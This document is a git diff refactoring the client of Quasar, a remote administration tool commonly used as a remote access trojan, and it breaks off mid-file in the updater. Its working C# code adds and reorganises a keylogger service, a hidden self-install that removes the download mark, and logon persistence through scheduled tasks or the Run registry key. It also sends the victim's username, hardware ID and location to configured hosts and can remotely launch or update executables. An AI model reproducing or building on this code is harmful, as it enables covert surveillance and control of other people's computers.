diff --git a/Quasar.Client/Extensions/ProcessExtensions.cs b/Quasar.Client/Extensions/ProcessExtensions.cs
new file mode 100644
index 00000000..072b5ae7
--- /dev/null
+++ b/Quasar.Client/Extensions/ProcessExtensions.cs
@@ -0,0 +1,19 @@
+using Quasar.Client.Utilities;
+using System.Diagnostics;
+using System.Text;
+
+namespace Quasar.Client.Extensions
+{
+ public static class ProcessExtensions
+ {
+ public static string GetMainModuleFileName(this Process proc)
+ {
+ uint nChars = 260;
+ StringBuilder buffer = new StringBuilder((int)nChars);
+
+ var success = NativeMethods.QueryFullProcessImageName(proc.Handle, 0, buffer, ref nChars);
+
+ return success ? buffer.ToString() : null;
+ }
+ }
+}
diff --git a/Quasar.Client/Helper/NativeMethodsHelper.cs b/Quasar.Client/Helper/NativeMethodsHelper.cs
index 57943108..af10fdf5 100644
--- a/Quasar.Client/Helper/NativeMethodsHelper.cs
+++ b/Quasar.Client/Helper/NativeMethodsHelper.cs
@@ -1,8 +1,8 @@
-using System;
+using Quasar.Client.Utilities;
+using System;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Text;
-using Quasar.Client.Utilities;
namespace Quasar.Client.Helper
{
@@ -21,8 +21,8 @@ public static uint GetLastInputInfoTickCount()
NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO();
lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo);
lastInputInfo.dwTime = 0;
-
- return NativeMethods.GetLastInputInfo(ref lastInputInfo) ? lastInputInfo.dwTime : 0;
+ NativeMethods.GetLastInputInfo(ref lastInputInfo);
+ return lastInputInfo.dwTime;
}
public static void DoMouseLeftClick(Point p, bool isMouseDown)
diff --git a/Quasar.Client/Helper/WindowsAccountHelper.cs b/Quasar.Client/Helper/WindowsAccountHelper.cs
deleted file mode 100644
index ec3b0ef9..00000000
--- a/Quasar.Client/Helper/WindowsAccountHelper.cs
+++ /dev/null
@@ -1,33 +0,0 @@
-using System;
-using System.Security.Principal;
-
-namespace Quasar.Client.Helper
-{
- public static class WindowsAccountHelper
- {
- public static string GetName()
- {
- return Environment.UserName;
- }
-
- public static string GetAccountType()
- {
- using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
- {
- if (identity != null)
- {
- WindowsPrincipal principal = new WindowsPrincipal(identity);
-
- if (principal.IsInRole(WindowsBuiltInRole.Administrator))
- return "Admin";
- if (principal.IsInRole(WindowsBuiltInRole.User))
- return "User";
- if (principal.IsInRole(WindowsBuiltInRole.Guest))
- return "Guest";
- }
- }
-
- return "Unknown";
- }
- }
-}
diff --git a/Quasar.Client/Helper/DevicesHelper.cs b/Quasar.Client/IO/HardwareDevices.cs
similarity index 64%
rename from Quasar.Client/Helper/DevicesHelper.cs
rename to Quasar.Client/IO/HardwareDevices.cs
index f111d5ae..a75c2c1c 100644
--- a/Quasar.Client/Helper/DevicesHelper.cs
+++ b/Quasar.Client/IO/HardwareDevices.cs
@@ -6,18 +6,85 @@
using System.Net.NetworkInformation;
using System.Net.Sockets;
-namespace Quasar.Client.Helper
+namespace Quasar.Client.IO
{
- public static class DevicesHelper
+ ///
+ /// Provides access to retrieve information about the used hardware devices.
+ ///
+ /// Caches the retrieved information to reduce the slowdown of the slow WMI queries.
+ public static class HardwareDevices
{
- public static string HardwareId { get; private set; }
+ ///
+ /// Gets a unique hardware id as a combination of various hardware components.
+ ///
+ public static string HardwareId => _hardwareId ?? (_hardwareId = Sha256.ComputeHash(CpuName + MainboardName + BiosManufacturer));
- static DevicesHelper()
- {
- HardwareId = Sha256.ComputeHash(GetCpuName() + GetMainboardIdentifier() + GetBiosIdentifier());
- }
+ ///
+ /// Used to cache the hardware id.
+ ///
+ private static string _hardwareId;
- public static string GetBiosIdentifier()
+ ///
+ /// Gets the name of the system CPU.
+ ///
+ public static string CpuName => _cpuName ?? (_cpuName = GetCpuName());
+
+ ///
+ /// Used to cache the CPU name.
+ ///
+ private static string _cpuName;
+
+ ///
+ /// Gets the name of the GPU.
+ ///
+ public static string GpuName => _gpuName ?? (_gpuName = GetGpuName());
+
+ ///
+ /// Used to cache the GPU name.
+ ///
+ private static string _gpuName;
+
+ ///
+ /// Gets the name of the BIOS manufacturer.
+ ///
+ public static string BiosManufacturer => _biosManufacturer ?? (_biosManufacturer = GetBiosManufacturer());
+
+ ///
+ /// Used to cache the BIOS manufacturer.
+ ///
+ private static string _biosManufacturer;
+
+ ///
+ /// Gets the name of the mainboard.
+ ///
+ public static string MainboardName => _mainboardName ?? (_mainboardName = GetMainboardName());
+
+ ///
+ /// Used to cache the mainboard name.
+ ///
+ private static string _mainboardName;
+
+ ///
+ /// Gets the total physical memory of the system in megabytes (MB).
+ ///
+ public static int? TotalPhysicalMemory => _totalPhysicalMemory ?? (_totalPhysicalMemory = GetTotalPhysicalMemoryInMb());
+
+ ///
+ /// Used to cache the total physical memory.
+ ///
+ private static int? _totalPhysicalMemory;
+
+ ///
+ /// Gets the LAN IP address of the network interface.
+ ///
+ public static string LanIpAddress => GetLanIpAddress();
+
+ ///
+ /// Gets the MAC address of the network interface.
+ ///
+ public static string MacAddress => GetMacAddress();
+
+ private static string GetBiosManufacturer()
{
try
{
@@ -42,7 +109,7 @@ public static string GetBiosIdentifier()
return "Unknown";
}
- public static string GetMainboardIdentifier()
+ private static string GetMainboardName()
{
try
{
@@ -53,7 +120,7 @@ public static string GetMainboardIdentifier()
{
foreach (ManagementObject mObject in searcher.Get())
{
- mainboardIdentifier = mObject["Manufacturer"].ToString() + mObject["SerialNumber"].ToString();
+ mainboardIdentifier = mObject["Manufacturer"].ToString() + " " + mObject["Product"].ToString();
break;
}
}
@@ -67,7 +134,7 @@ public static string GetMainboardIdentifier()
return "Unknown";
}
- public static string GetCpuName()
+ private static string GetCpuName()
{
try
{
@@ -92,7 +159,7 @@ public static string GetCpuName()
return "Unknown";
}
- public static int GetTotalRamAmount()
+ private static int GetTotalPhysicalMemoryInMb()
{
try
{
@@ -104,7 +171,7 @@ public static int GetTotalRamAmount()
foreach (ManagementObject mObject in searcher.Get())
{
double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"]));
- installedRAM = (int)(bytes / 1048576);
+ installedRAM = (int)(bytes / 1048576); // bytes to MB
break;
}
}
@@ -117,7 +184,7 @@ public static int GetTotalRamAmount()
}
}
- public static string GetGpuName()
+ private static string GetGpuName()
{
try
{
@@ -141,8 +208,9 @@ public static string GetGpuName()
}
}
- public static string GetLanIp()
+ private static string GetLanIpAddress()
{
+ // TODO: support multiple network interfaces
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
{
GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault();
@@ -167,7 +235,7 @@ public static string GetLanIp()
return "-";
}
- public static string GetMacAddress()
+ private static string GetMacAddress()
{
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
{
@@ -182,7 +250,7 @@ public static string GetMacAddress()
ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
continue;
- foundCorrect = (ip.Address.ToString() == GetLanIp());
+ foundCorrect = (ip.Address.ToString() == GetLanIpAddress());
}
if (foundCorrect)
diff --git a/Quasar.Client/Logging/KeyloggerService.cs b/Quasar.Client/Logging/KeyloggerService.cs
index bf52cb5d..5dbb54b7 100644
--- a/Quasar.Client/Logging/KeyloggerService.cs
+++ b/Quasar.Client/Logging/KeyloggerService.cs
@@ -21,7 +21,7 @@ public KeyloggerService()
});
}
- public void StartService()
+ public void Start()
{
_msgLoopThread.Start();
}
diff --git a/Quasar.Client/Messages/ClientServicesHandler.cs b/Quasar.Client/Messages/ClientServicesHandler.cs
index b4c827e3..e88bad78 100644
--- a/Quasar.Client/Messages/ClientServicesHandler.cs
+++ b/Quasar.Client/Messages/ClientServicesHandler.cs
@@ -1,4 +1,5 @@
-using Quasar.Client.Config;
+using System;
+using Quasar.Client.Config;
using Quasar.Client.Helper;
using Quasar.Client.Networking;
using Quasar.Client.Setup;
@@ -7,6 +8,8 @@
using Quasar.Common.Networking;
using System.Diagnostics;
using System.Windows.Forms;
+using Quasar.Client.User;
+using Quasar.Common.Enums;
namespace Quasar.Client.Messages
{
@@ -54,8 +57,15 @@ public override void Execute(ISender sender, IMessage message)
private void Execute(ISender client, DoClientUninstall message)
{
client.Send(new SetStatus { Message = "Uninstalling... good bye :-(" });
-
- new ClientUninstaller().Uninstall(client);
+ try
+ {
+ new ClientUninstaller().Uninstall();
+ _client.Exit();
+ }
+ catch (Exception ex)
+ {
+ client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" });
+ }
}
private void Execute(ISender client, DoClientDisconnect message)
@@ -70,7 +80,8 @@ private void Execute(ISender client, DoClientReconnect message)
private void Execute(ISender client, DoAskElevate message)
{
- if (WindowsAccountHelper.GetAccountType() != "Admin")
+ var userAccount = new UserAccount();
+ if (userAccount.Type != AccountType.Admin)
{
ProcessStartInfo processStartInfo = new ProcessStartInfo
{
diff --git a/Quasar.Client/Messages/FileManagerHandler.cs b/Quasar.Client/Messages/FileManagerHandler.cs
index 9ada231c..e7777b55 100644
--- a/Quasar.Client/Messages/FileManagerHandler.cs
+++ b/Quasar.Client/Messages/FileManagerHandler.cs
@@ -1,5 +1,5 @@
using Quasar.Client.Networking;
-using Quasar.Client.Utilities;
+using Quasar.Common;
using Quasar.Common.Enums;
using Quasar.Common.Extensions;
using Quasar.Common.Helpers;
diff --git a/Quasar.Client/Messages/SystemInformationHandler.cs b/Quasar.Client/Messages/SystemInformationHandler.cs
index a1043c4d..cb020f24 100644
--- a/Quasar.Client/Messages/SystemInformationHandler.cs
+++ b/Quasar.Client/Messages/SystemInformationHandler.cs
@@ -1,11 +1,13 @@
using Quasar.Client.Helper;
using Quasar.Client.IpGeoLocation;
+using Quasar.Client.User;
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.NetworkInformation;
+using Quasar.Client.IO;
namespace Quasar.Client.Messages
{
@@ -39,21 +41,22 @@ private void Execute(ISender client, GetSystemInfo message)
var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-";
var geoInfo = GeoInformationFactory.GetGeoInformation();
+ var userAccount = new UserAccount();
List> lstInfos = new List>
{
- new Tuple("Processor (CPU)", DevicesHelper.GetCpuName()),
- new Tuple("Memory (RAM)", $"{DevicesHelper.GetTotalRamAmount()} MB"),
- new Tuple("Video Card (GPU)", DevicesHelper.GetGpuName()),
- new Tuple("Username", WindowsAccountHelper.GetName()),
+ new Tuple("Processor (CPU)", HardwareDevices.CpuName),
+ new Tuple("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"),
+ new Tuple("Video Card (GPU)", HardwareDevices.GpuName),
+ new Tuple("Username", userAccount.UserName),
new Tuple("PC Name", SystemHelper.GetPcName()),
new Tuple("Domain Name", domainName),
new Tuple("Host Name", hostName),
new Tuple("System Drive", Path.GetPathRoot(Environment.SystemDirectory)),
new Tuple("System Directory", Environment.SystemDirectory),
new Tuple("Uptime", SystemHelper.GetUptime()),
- new Tuple("MAC Address", DevicesHelper.GetMacAddress()),
- new Tuple("LAN IP Address", DevicesHelper.GetLanIp()),
+ new Tuple("MAC Address", HardwareDevices.MacAddress),
+ new Tuple("LAN IP Address", HardwareDevices.LanIpAddress),
new Tuple("WAN IP Address", geoInfo.IpAddress),
new Tuple("ASN", geoInfo.Asn),
new Tuple("ISP", geoInfo.Isp),
diff --git a/Quasar.Client/Messages/TaskManagerHandler.cs b/Quasar.Client/Messages/TaskManagerHandler.cs
index 890a50fe..561d63cb 100644
--- a/Quasar.Client/Messages/TaskManagerHandler.cs
+++ b/Quasar.Client/Messages/TaskManagerHandler.cs
@@ -1,6 +1,6 @@
using Quasar.Client.Networking;
using Quasar.Client.Setup;
-using Quasar.Client.Utilities;
+using Quasar.Common;
using Quasar.Common.Enums;
using Quasar.Common.Helpers;
using Quasar.Common.Messages;
@@ -97,20 +97,23 @@ private void Execute(ISender client, DoProcessStart message)
}
}
- try
+ if (message.IsUpdate)
{
- if (message.IsUpdate)
+ try
{
- if (ClientUpdater.Update(client, filePath))
- {
- _client.Exit();
- }
- else
- {
- throw new Exception("Update failed");
- }
+ var clientUpdater = new ClientUpdater();
+ clientUpdater.Update(filePath);
+ _client.Exit();
}
- else
+ catch (Exception ex)
+ {
+ NativeMethods.DeleteFile(filePath);
+ client.Send(new SetStatus { Message = $"Update failed: {ex.Message}" });
+ }
+ }
+ else
+ {
+ try
{
ProcessStartInfo startInfo = new ProcessStartInfo
{
@@ -118,12 +121,13 @@ private void Execute(ISender client, DoProcessStart message)
FileName = filePath
};
Process.Start(startInfo);
+ client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = true});
}
- client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true });
- }
- catch
- {
- client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
+ catch (Exception)
+ {
+ client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = false});
+ }
+
}
}).Start();
}
diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs
index 6735cbdf..c5bc975d 100644
--- a/Quasar.Client/Networking/QuasarClient.cs
+++ b/Quasar.Client/Networking/QuasarClient.cs
@@ -1,6 +1,9 @@
using Quasar.Client.Config;
using Quasar.Client.Helper;
+using Quasar.Client.IO;
using Quasar.Client.IpGeoLocation;
+using Quasar.Client.User;
+using Quasar.Common.DNS;
using Quasar.Common.Helpers;
using Quasar.Common.Messages;
using Quasar.Common.Utilities;
@@ -8,8 +11,6 @@
using System.Diagnostics;
using System.Security.Cryptography.X509Certificates;
using System.Threading;
-using System.Windows.Forms;
-using Quasar.Common.DNS;
namespace Quasar.Client.Networking
{
@@ -40,21 +41,14 @@ public void ConnectLoop()
{
if (!Connected)
{
- Thread.Sleep(100 + _random.Next(0, 250));
-
Host host = _hosts.GetNextHost();
base.Connect(host.IpAddress, host.Port);
-
- Thread.Sleep(200);
-
- Application.DoEvents();
}
while (Connected) // hold client open
{
- Application.DoEvents();
- Thread.Sleep(2500);
+ Thread.Sleep(1000);
}
if (Exiting)
@@ -97,17 +91,18 @@ private void OnClientState(Client client, bool connected)
// send client identification once connected
var geoInfo = GeoInformationFactory.GetGeoInformation();
+ var userAccount = new UserAccount();
client.Send(new ClientIdentification
{
Version = Settings.VERSION,
OperatingSystem = PlatformHelper.FullName,
- AccountType = WindowsAccountHelper.GetAccountType(),
+ AccountType = nameof(userAccount.Type),
Country = geoInfo.Country,
CountryCode = geoInfo.CountryCode,
ImageIndex = geoInfo.ImageIndex,
- Id = DevicesHelper.HardwareId,
- Username = WindowsAccountHelper.GetName(),
+ Id = HardwareDevices.HardwareId,
+ Username = userAccount.UserName,
PcName = SystemHelper.GetPcName(),
Tag = Settings.TAG,
EncryptionKey = Settings.ENCRYPTIONKEY,
diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs
index 3f4800c3..40727280 100644
--- a/Quasar.Client/Program.cs
+++ b/Quasar.Client/Program.cs
@@ -14,7 +14,10 @@ private static void Main(string[] args)
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
- new QuasarApplication().Run();
+ using (var app = new QuasarApplication())
+ {
+ app.Run();
+ }
}
}
}
diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs
index 9df62803..7300839d 100644
--- a/Quasar.Client/QuasarApplication.cs
+++ b/Quasar.Client/QuasarApplication.cs
@@ -4,6 +4,7 @@
using Quasar.Client.Messages;
using Quasar.Client.Networking;
using Quasar.Client.Setup;
+using Quasar.Client.User;
using Quasar.Client.Utilities;
using Quasar.Common.DNS;
using Quasar.Common.Helpers;
@@ -11,70 +12,124 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
-using System.IO;
using System.Windows.Forms;
namespace Quasar.Client
{
- public class QuasarApplication
+ ///
+ /// The client application which handles basic bootstrapping of the message processors and background tasks.
+ ///
+ public class QuasarApplication : IDisposable
{
+ ///
+ /// A system-wide mutex that ensures that only one instance runs at a time.
+ ///
public SingleInstanceMutex ApplicationMutex;
+
+ ///
+ /// The client used for the connection to the server.
+ ///
public QuasarClient ConnectClient;
+
+ ///
+ /// List of to keep track of all used message processors.
+ ///
private readonly List _messageProcessors;
+
+ ///
+ /// The background keylogger service used to capture and store keystrokes.
+ ///
private KeyloggerService _keyloggerService;
+ ///
+ /// Keeps track of the user activity.
+ ///
+ private ActivityDetection _userActivityDetection;
+
+ ///
+ /// Determines whether an installation is required depending on the current and target paths.
+ ///
private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath;
+ ///
+ /// Initializes a new instance of the class.
+ ///
public QuasarApplication()
{
AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException;
_messageProcessors = new List();
}
+ ///
+ /// Begins running the application.
+ ///
public void Run()
{
// decrypt and verify the settings
- if (Settings.Initialize())
+ if (!Settings.Initialize()) return;
+
+ ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);
+
+ // check if process with same mutex is already running on system
+ if (!ApplicationMutex.CreatedNew) return;
+
+ FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);
+
+ var installer = new ClientInstaller();
+
+ if (IsInstallationRequired)
{
- ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);
+ // close mutex before installing the client
+ ApplicationMutex.Dispose();
- // check if process with same mutex is already running on system
- if (ApplicationMutex.CreatedNew)
+ try
{
- FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);
-
- if (IsInstallationRequired)
- {
- // close mutex before installing the client
- ApplicationMutex.Dispose();
- new ClientInstaller().Install();
- }
- else
- {
- // (re)apply settings and proceed with connect loop
- ApplySettings();
- var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
- ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
- InitializeMessageProcessors(ConnectClient);
- ConnectClient.ConnectLoop();
- }
+ installer.Install();
+ }
+ catch (Exception e)
+ {
+ Debug.WriteLine(e);
}
}
+ else
+ {
+ try
+ {
+ // (re)apply settings and proceed with connect loop
+ installer.ApplySettings();
+ }
+ catch (Exception e)
+ {
+ Debug.WriteLine(e);
+ }
- Cleanup();
- Exit();
- }
-
- private static void Exit()
- {
- // Don't wait for other threads
- Environment.Exit(0);
+ if (Settings.ENABLELOGGER)
+ {
+ _keyloggerService = new KeyloggerService();
+ _keyloggerService.Start();
+ }
+
+ var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
+ ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
+ InitializeMessageProcessors(ConnectClient);
+
+ _userActivityDetection = new ActivityDetection(ConnectClient);
+ _userActivityDetection.Start();
+
+ ConnectClient.ConnectLoop();
+ }
}
+ ///
+ /// Handles unhandled exceptions by restarting the application and hoping that they don't happen again.
+ ///
+ /// The source of the unhandled exception event.
+ /// The exception event arguments.
private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e)
{
if (e.IsTerminating)
{
+ Debug.WriteLine(e);
string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
if (string.IsNullOrEmpty(batchFile)) return;
@@ -85,17 +140,14 @@ private static void HandleUnhandledException(object sender, UnhandledExceptionEv
FileName = batchFile
};
Process.Start(startInfo);
- Exit();
+ Environment.Exit(0);
}
}
- private void Cleanup()
- {
- CleanupMessageProcessors();
- _keyloggerService?.Dispose();
- ApplicationMutex.Dispose();
- }
-
+ ///
+ /// Adds all message processors to and registers them in the .
+ ///
+ /// The client which handles the connection.
private void InitializeMessageProcessors(QuasarClient client)
{
_messageProcessors.Add(new ClientServicesHandler(this, client));
@@ -112,13 +164,15 @@ private void InitializeMessageProcessors(QuasarClient client)
_messageProcessors.Add(new SystemInformationHandler());
_messageProcessors.Add(new TaskManagerHandler(client));
_messageProcessors.Add(new TcpConnectionsHandler(client));
- _messageProcessors.Add(new UserStatusHandler(client));
_messageProcessors.Add(new WebsiteVisitorHandler());
foreach (var msgProc in _messageProcessors)
MessageHandler.Register(msgProc);
}
+ ///
+ /// Disposes all message processors of and unregisters them from the .
+ ///
private void CleanupMessageProcessors()
{
foreach (var msgProc in _messageProcessors)
@@ -128,44 +182,28 @@ private void CleanupMessageProcessors()
}
}
- private void ApplySettings()
+ ///
+ /// Releases all resources used by this .
+ ///
+ public void Dispose()
{
- FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);
+ Dispose(true);
+ GC.SuppressFinalize(this);
+ }
- if (Settings.STARTUP)
+ ///
+ /// Releases all allocated message processors, services and other resources.
+ ///
+ /// True if called from , false if called from the finalizer.
+ protected virtual void Dispose(bool disposing)
+ {
+ if (disposing)
{
- Startup.AddToStartup();
- }
-
- if (Settings.INSTALL && Settings.HIDEFILE)
- {
- try
- {
- File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden);
- }
- catch (Exception)
- {
- }
- }
-
- if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
- {
- try
- {
- DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH));
- di.Attributes |= FileAttributes.Hidden;
- }
- catch (Exception)
- {
- }
- }
-
- if (Settings.ENABLELOGGER)
- {
- _keyloggerService = new KeyloggerService();
- _keyloggerService.StartService();
+ CleanupMessageProcessors();
+ _keyloggerService?.Dispose();
+ _userActivityDetection?.Dispose();
+ ApplicationMutex.Dispose();
}
}
-
}
}
diff --git a/Quasar.Client/Setup/ClientInstaller.cs b/Quasar.Client/Setup/ClientInstaller.cs
index 0dbe926f..54e56369 100644
--- a/Quasar.Client/Setup/ClientInstaller.cs
+++ b/Quasar.Client/Setup/ClientInstaller.cs
@@ -1,4 +1,5 @@
using Quasar.Client.Config;
+using Quasar.Client.Extensions;
using Quasar.Common.Helpers;
using System;
using System.Diagnostics;
@@ -8,25 +9,50 @@
namespace Quasar.Client.Setup
{
- public class ClientInstaller
+ public class ClientInstaller : ClientSetupBase
{
- public void Install()
+ public void ApplySettings()
{
- bool isKilled = false;
+ if (Settings.STARTUP)
+ {
+ var clientStartup = new ClientStartup();
+ clientStartup.AddToStartup(Application.ExecutablePath, Settings.STARTUPKEY);
+ }
- // create target dir
- if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH)))
+ if (Settings.INSTALL && Settings.HIDEFILE)
{
try
{
- Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH));
+ File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden);
}
- catch (Exception)
+ catch (Exception ex)
{
- return;
+ Debug.WriteLine(ex);
}
}
+ if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
+ {
+ try
+ {
+ DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH));
+ di.Attributes |= FileAttributes.Hidden;
+ }
+ catch (Exception ex)
+ {
+ Debug.WriteLine(ex);
+ }
+ }
+ }
+
+ public void Install()
+ {
+ // create target dir
+ if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH)))
+ {
+ Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH));
+ }
+
// delete existing file
if (File.Exists(Settings.INSTALLPATH))
{
@@ -38,47 +64,27 @@ public void Install()
{
if (ex is IOException || ex is UnauthorizedAccessException)
{
- // kill old process if new mutex
+ // kill old process running at destination path
Process[] foundProcesses =
Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH));
int myPid = Process.GetCurrentProcess().Id;
foreach (var prc in foundProcesses)
{
+ // dont kill own process
if (prc.Id == myPid) continue;
+ // only kill the process at the destination path
+ if (prc.GetMainModuleFileName() != Settings.INSTALLPATH) continue;
prc.Kill();
- isKilled = true;
+ Thread.Sleep(2000);
+ break;
}
}
}
}
- if (isKilled) Thread.Sleep(5000);
+ File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true);
- //copy client to target dir
- try
- {
- File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true);
- }
- catch (Exception)
- {
- return;
- }
-
- if (Settings.STARTUP)
- {
- Startup.AddToStartup();
- }
-
- if (Settings.HIDEFILE)
- {
- try
- {
- File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden);
- }
- catch (Exception)
- {
- }
- }
+ ApplySettings();
FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH);
@@ -90,13 +96,7 @@ public void Install()
UseShellExecute = false,
FileName = Settings.INSTALLPATH
};
- try
- {
- Process.Start(startInfo);
- }
- catch (Exception)
- {
- }
+ Process.Start(startInfo);
}
}
}
diff --git a/Quasar.Client/Setup/ClientSetupBase.cs b/Quasar.Client/Setup/ClientSetupBase.cs
new file mode 100644
index 00000000..ea84bc27
--- /dev/null
+++ b/Quasar.Client/Setup/ClientSetupBase.cs
@@ -0,0 +1,14 @@
+using Quasar.Client.User;
+
+namespace Quasar.Client.Setup
+{
+ public abstract class ClientSetupBase
+ {
+ protected UserAccount UserAccount;
+
+ protected ClientSetupBase()
+ {
+ UserAccount = new UserAccount();
+ }
+ }
+}
diff --git a/Quasar.Client/Setup/ClientStartup.cs b/Quasar.Client/Setup/ClientStartup.cs
new file mode 100644
index 00000000..8774aceb
--- /dev/null
+++ b/Quasar.Client/Setup/ClientStartup.cs
@@ -0,0 +1,52 @@
+using Microsoft.Win32;
+using Quasar.Client.Helper;
+using Quasar.Common.Enums;
+using System.Diagnostics;
+
+namespace Quasar.Client.Setup
+{
+ public class ClientStartup : ClientSetupBase
+ {
+ public void AddToStartup(string executablePath, string startupName)
+ {
+ if (UserAccount.Type == AccountType.Admin)
+ {
+ ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
+ {
+ Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath +
+ "\" /rl HIGHEST /f",
+ UseShellExecute = false,
+ CreateNoWindow = true
+ };
+
+ Process p = Process.Start(startInfo);
+ p.WaitForExit(1000);
+ if (p.ExitCode == 0) return;
+ }
+
+ RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
+ "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath,
+ true);
+ }
+
+ public void RemoveFromStartup(string startupName)
+ {
+ if (UserAccount.Type == AccountType.Admin)
+ {
+ ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
+ {
+ Arguments = "/delete /tn \"" + startupName + "\" /f",
+ UseShellExecute = false,
+ CreateNoWindow = true
+ };
+
+ Process p = Process.Start(startInfo);
+ p.WaitForExit(1000);
+ if (p.ExitCode == 0) return;
+ }
+
+ RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
+ "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName);
+ }
+ }
+}
diff --git a/Quasar.Client/Setup/ClientUninstaller.cs b/Quasar.Client/Setup/ClientUninstaller.cs
index c384736d..66910df1 100644
--- a/Quasar.Client/Setup/ClientUninstaller.cs
+++ b/Quasar.Client/Setup/ClientUninstaller.cs
@@ -1,42 +1,33 @@
using Quasar.Client.Config;
using Quasar.Client.IO;
-using Quasar.Common.Messages;
-using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.Windows.Forms;
namespace Quasar.Client.Setup
{
- public class ClientUninstaller
+ public class ClientUninstaller : ClientSetupBase
{
- public bool Uninstall(ISender client)
+ public void Uninstall()
{
- try
+ if (Settings.STARTUP)
{
- if (Settings.STARTUP)
- Startup.RemoveFromStartup();
-
- string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH);
-
- if (string.IsNullOrEmpty(batchFile))
- throw new Exception("Could not create uninstall-batch file");
-
- ProcessStartInfo startInfo = new ProcessStartInfo
- {
- WindowStyle = ProcessWindowStyle.Hidden,
- UseShellExecute = true,
- FileName = batchFile
- };
- Process.Start(startInfo);
-
- return true;
+ var clientStartup = new ClientStartup();
+ clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
}
- catch (Exception ex)
+
+ string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH);
+
+ if (string.IsNullOrEmpty(batchFile))
+ throw new Exception("Could not create uninstall-batch file.");
+
+ ProcessStartInfo startInfo = new ProcessStartInfo
{
- client.Send(new SetStatus {Message = $"Uninstall failed: {ex.Message}"});
- return false;
- }
+ WindowStyle = ProcessWindowStyle.Hidden,
+ UseShellExecute = true,
+ FileName = batchFile
+ };
+ Process.Start(startInfo);
}
}
}
diff --git a/Quasar.Client/Setup/ClientUpdater.cs b/Quasar.Client/Setup/ClientUpdater.cs
index 65923880..6481381a 100644
--- a/Quasar.Client/Setup/ClientUpdater.cs
+++ b/Quasar.Client/Setup/ClientUpdater.cs
@@ -1,9 +1,6 @@
using Quasar.Client.Config;
using Quasar.Client.IO;
-using Quasar.Client.Utilities;
using Quasar.Common.Helpers;
-using Quasar.Common.Messages;
-using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.IO;
@@ -11,41 +8,33 @@
namespace Quasar.Client.Setup
{
- public static class ClientUpdater
+ public class ClientUpdater : ClientSetupBase
{
- public static bool Update(ISender client, string newFilePath)
+ public void Update(string newFilePath)
{
- try
+ FileHelper.DeleteZoneIdentifier(newFilePath);
+
+ var bytes = File.ReadAllBytes(newFilePath);
+ if (!FileHelper.HasExecutableIdentifier(bytes))
+ throw new Exception("No executable file.");
+
+ string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
+
